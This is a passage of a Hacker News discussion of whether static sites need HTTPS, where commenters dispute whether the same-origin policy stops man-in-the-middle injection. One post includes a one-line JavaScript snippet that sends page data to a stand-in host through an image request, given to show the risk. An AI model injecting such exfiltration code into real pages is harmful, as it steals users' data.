Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Why Static Websites Need HTTPS

troyhunt.com

Post reply on HN
Print view View original

31–40 of 268 posts

Re: Why Static Websites Need HTTPS

#31

Post by skuzye »

austincheney wrote: post #10
skuzye wrote: post #3

Earlier quoted context omitted.

If you don't use HTTPS you are also forgoing the integrity check and not only the encryption. Any router standing between your users and your servers could inject anything into your code, html, etc.

There is the possibility of corrupting the integrity of the application code in this way, but this doesn't void privacy thanks to the same origin policy. https://en.wikipedia.org/wiki/Same-origin_policy If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application…

I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it.

It won't stop a modified code from pushing data to anywhere in the web either.

> More fortunately still the application is a diff tool, so it can perform self validation

Yes, if the application has been loaded before but I feel like it would be a half-baked HSTS implementation.

Edit: it was too convoluted

Re: Why Static Websites Need HTTPS

#32

Post by dragonwriter »

austincheney wrote: post #17
gsnedders wrote: post #5

Earlier quoted context omitted.

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially m…

No. https://en.wikipedia.org/wiki/Same-origin_policy

How is the same origin policy helping when the attacker is impersonating your domain to the target?

Re: Why Static Websites Need HTTPS

#34

Post by dvfjsdhgfv »

austincheney wrote: post #2

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…

Well, the Same origin policy may protect the users a bit if the attack takes place after they've downloaded the app, but if they haven't - the attacker can modify it and they won't even notice.

Re: Why Static Websites Need HTTPS

#35

Post by bn-usd-mistake »

slig wrote: post #24
austincheney wrote: post #16

Earlier quoted context omitted.

No. https://en.wikipedia.org/wiki/Same-origin_policy

How does same-origin policy (on a MITM'd website) prevents this? (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);

It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post

Re: Why Static Websites Need HTTPS

#36

Post by raesene9 »

austincheney wrote: post #16
askmike wrote: post #7

Earlier quoted context omitted.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Ohh I dunno. Lets say you're running a non-HTTPS site and an attacker MITMs one of your users and injects JavaScript which will appear to come from your site into that users session.

At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.

Re: Why Static Websites Need HTTPS

#37

Post by mechanicalpulse »

austincheney wrote: post #17
gsnedders wrote: post #5

Earlier quoted context omitted.

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially m…

No. https://en.wikipedia.org/wiki/Same-origin_policy

Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...

Re: Why Static Websites Need HTTPS

#38

Post by adwhit »

tudelo wrote: post #14
adwhit wrote: post #12

When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…

Pretty sure you can use certbot and just run like... a few commands. Even easier than setting up Nginx.

The point isn't that it is particularly difficult (if you know what you are doing). The point is that from a cost-benefit perspective, it probably isn't worth more than 2 minutes of your time, if that.

Re: Why Static Websites Need HTTPS

#39

Post by mechanicalpulse »

austincheney wrote: post #16
askmike wrote: post #7

Earlier quoted context omitted.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...

Re: Why Static Websites Need HTTPS

#40

Post by MrStonedOne »

davidmurdoch wrote: post #15

And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites... Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases). Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled…

Nope.

Thats fixable in the client using a http proxy.

The whole point of https is to roll back the ability for middleware devices to modify traffic without the authority of the client or the server.

This is a good thing. He shouldn't be setting up a situation where he is intercepting traffic that neither party of the connection had authorized him to intercept. Regardless of how righteous his intentions are.

Post reply on HN